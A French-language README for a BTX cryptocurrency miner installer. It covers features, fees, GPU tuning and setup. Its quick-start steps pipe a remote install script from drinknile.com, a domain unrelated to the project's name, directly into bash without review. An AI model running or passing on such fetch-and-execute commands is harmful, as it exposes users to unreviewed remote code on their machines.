À propos du projet

# BTX Start Miner BTX Start est un frontend d'intégration compétitif et un fork d'installateur pour [BTX](https://btxprice.com), le fork post-quantique de Bitcoin Knots avec preuve de travail matmul. Il simplifie le processus de rejoindre le réseau BTX en offrant un chemin rationalisé de l'installation à la rémunération, en gérant la variance via le minage en pool. ## Fonctionnalités clés * **Intégration simplifiée** : Réduit les frictions avec un installateur `curl | bash` qui détecte le matériel, vérifie les binaires et configure automatiquement les paramètres optimaux. * **Prise en charge multiplateforme** : Prend en charge Linux (GPU NVIDIA Pascal à Blackwell), Windows (via WSL2) et Apple Silicon (Metal). * **Réglage des performances** : Inclut un outil de benchmarking automatisé (`dexbtx-miner benchmark`) pour balayer des paramètres comme les workers, les threads et la taille de lot pour une efficacité maximale. * **Gestion robuste des erreurs** : Livré avec des solutions de repli intégrées pour les modes de défaillance courants tels que l'épuisement du tampon CUDA, les replis silencieux sur CPU et les déconnexions de pairs. * **Frais transparents** : Offre un essai gratuit de 7 jours, suivi de frais de plateforme de 0,50 %. ## Démarrage rapide ### Linux + GPU NVIDIA Vérifier la compatibilité sans installer : ```bash curl -fsSL https://drinknile.com/install.sh | bash -s -- --preflight --address 'btx1z...YOUR_BTX_ADDRESS...' ``` Installer si le preflight réussit : ```bash curl -fsSL https://drinknile.com/install.sh | bash -s -- --address 'btx1z...YOUR_BTX_ADDRESS...' ``` Démarrer le minage : ```bash dexbtx-miner --config ~/.dexbtx-miner/config.yaml ``` ### Mac Apple Silicon Utiliser le backend Metal : ```bash curl -fsSL https://drinknile.com/install.sh | bash -s -- \ --preflight \ --solver-backend metal \ --local-solver "$HOME/.dexbtx-miner/bin/btx-gbt-solve" \ --trust-local-solver \ --address 'btx1z...YOUR_BTX_ADDRESS...' \ --worker 'mac-ultra' ``` ### PC Windows Installer Ubuntu via WSL2, s'assurer que les pilotes NVIDIA sont installés dans Windows, puis exécuter les commandes d'installation Linux dans le terminal Ubuntu. ## Architecture et réglage Le mineur utilise un orchestrateur Python (`dexbtx-miner`) qui encapsule un solveur binaire natif (`btx-gbt-solve`). Le solveur prend en charge plusieurs architectures GPU (Pascal, Turing, Ampere, Ada Lovelace, Hopper, Blackwell) via des cubins intégrés ou la compilation JIT PTX. **Valeurs par défaut de réglage recommandées :** * `workers=16`, `threads=8`, `batch=128` * Ces paramètres fonctionnent sur la plupart des générations NVIDIA, de la série GTX 10 à la série RTX 50. Pour optimiser davantage, utiliser l'outil de benchmark : ```bash dexbtx-miner benchmark --write-config ``` ## Services backend Le dépôt inclut une ébauche pour un backend propriétaire (`backend/README.md`) qui gère : * Le point d'entrée du serveur Stratum. * L'API de statistiques et les contrôles de santé. * Le traitement des paiements et l'intégration de la facturation. Remarque : Le serveur stratum rejette les shares jusqu'à ce que la validation matmul réelle soit entièrement câblée ; ne pas le mettre en production prématurément. ## Contribution Cloner le dépôt et installer en mode éditable : ```bash git clone https://github.com/pythonoptic-sketch/minebtx-start cd minebtx-start pip install --user -e . dexbtx-miner --config config.example.yaml ``` Licence : MIT.